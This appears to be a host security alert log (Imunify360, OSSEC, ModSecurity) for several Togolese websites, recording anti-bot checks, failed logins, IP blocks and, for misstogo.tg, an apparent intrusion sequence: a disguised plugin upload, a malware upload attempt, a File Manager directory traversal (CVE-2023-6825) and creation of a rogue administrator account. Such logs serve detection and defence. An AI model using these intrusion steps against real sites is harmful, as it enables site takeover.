103.108.92.89 - - [20/Jun/2026:20:09:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:09:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.106.155.11
country_id: 798544
description:
Jun 20 20:11:06 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.106.155.11 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.7.188
country_id: 6252001
description:
[2026-06-20 20:11:50 +0000] info [cpaneld] 65.111.7.188 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.195.25.252
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2054548862 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 116.97.108.181
country_id: 1562822
description:
116.97.108.181 - - [20/Jun/2026:20:13:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935515&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Ftogo-uk-appel-a-candidature-pour-une-licence-pro-en-controle-qualite-des-aliments&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986390 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/togo-uk-appel-a-candidature-pour-une-licence-pro-en-controle-qualite-des-aliments" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:116.97.108.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:20:14:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066073&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986457 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:20:14:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789574&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986463 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:14:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340760&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986457 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.137.76.115
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-08-at-20.39.54.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-08-at-20.39.54-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-20 20:14:34 +0000] info [cpaneld] 103.253.27.219 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:20:14:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6394521&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986473 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.204.99.193
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/01/Bancarisation-et-inclusion-financiere-le-Togo-realise-de-nouvelles-performances-dans-lespace-UEMOA-300x194.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-20 20:20:19 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:58844: 535 Incorrect authentication data (set_id=user6)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.21
country_id: 3865483
description:
Jun 20 20:21:18 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.29.239.81
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/03/images-28.jpeg 324w, http:/togodailynews.tg/wp-content/uploads/2022/03/images-28-300x144.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.127.30.22
country_id: 3865483
description:
186.127.30.22 - - [20/Jun/2026:20:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725893&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-112000gitems%252Fetidm93sj.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986936 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-112000gitems/etidm93sj.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.127.30.22


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:24:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:24:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.151.143
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/10/tresor2.jpeg 1008w, http:/togodailynews.tg/wp-content/uploads/2024/10/tresor2-300x225.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/10/tresor2-768x576.jpeg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:28:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857903&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987296 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:20:28:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445204&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987298 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"99\", \"google chrome\";v=\"99\"||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316819
name: IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer||WPU:admlnlx||Theme install:||Theme:||Plugin:miniorange-malware-protection.zip||File:||User:tgmisefred||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Attempt to upload malware||Action:fma_load_fma_ui||Scan duration:231780||Sizes:2153||Combined size:2153||User:tgmisefred||WPU:admlnlx||Filename:._2524073921_error_log.php||Scanned:/tmp//20260620-202830-ajb37hqkhjQJeGKNjjOsPgAAAEk-file-ecstfA||SC:/home/tgmisefred/public_html/wp-admin/admin-ajax.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350365
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
name:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)

description:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)||MVN:TX:1||MV:Lw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/tgmisefred/public_html/wp-admin/admin-ajax.php||User:tgmisefred||WPU:admlnlx||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 159.203.110.64
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Track WordPress admin user creation||WPU:admlnlx||NewUser:sysops_master_1091||Email:sysops_master_1091@support.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.173
country_id: 298795
description:
Jun 20 20:29:45 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.173 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:20:29:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722198&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987385 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:20:29:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146472&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987388 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:29:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208152&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987388 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.97.187.139
country_id: 6252001
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/storage/slides/September2019/tB33fbo2DWp54Af8HFPj-cropped.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-20 20:35:12 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48662: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:38:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:38:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [20/Jun/2026:20:38:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015400&pdata=http%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781987932 HTTP/1.1" 404 561 24heureinfo.tg "http://24heureinfo.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.217.118.245
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/13391445 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.129.61.5
country_id: 2623032
description:
185.129.61.5 - doufelg [20/Jun/2026:20:41:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856967&pdata=https%253A%252F%252Fsp-eau.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988094 HTTP/2.0" 302 0 sp-eau.tg "https://sp-eau.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.129.61.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:41:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669978&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988103 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:20:41:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527178&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988105 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:20:43:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867928&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988203 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:20:43:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868903&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988203 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 20 20:44:46 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 20 20:44:46 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 20 20:45:27 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-20 20:46:28 +0000] info [cpaneld] 103.253.27.219 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 20 20:45:36 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-45.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 20 20:45:59 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.81.165
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/96876f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-20 20:50:18 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:57044: 535 Incorrect authentication data (set_id=sqlquery)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 20 20:50:16 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:53:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:53:07 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.55.146.15
country_id: 1210997
description:
103.55.146.15 - - [20/Jun/2026:20:56:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10460056&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-grossesses-precoces-en-milieu-scolaire-et-extrascolaire-a-qui-la-faute%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988982 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-grossesses-precoces-en-milieu-scolaire-et-extrascolaire-a-qui-la-faute/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.55.146.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:20:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803932&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781988940 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
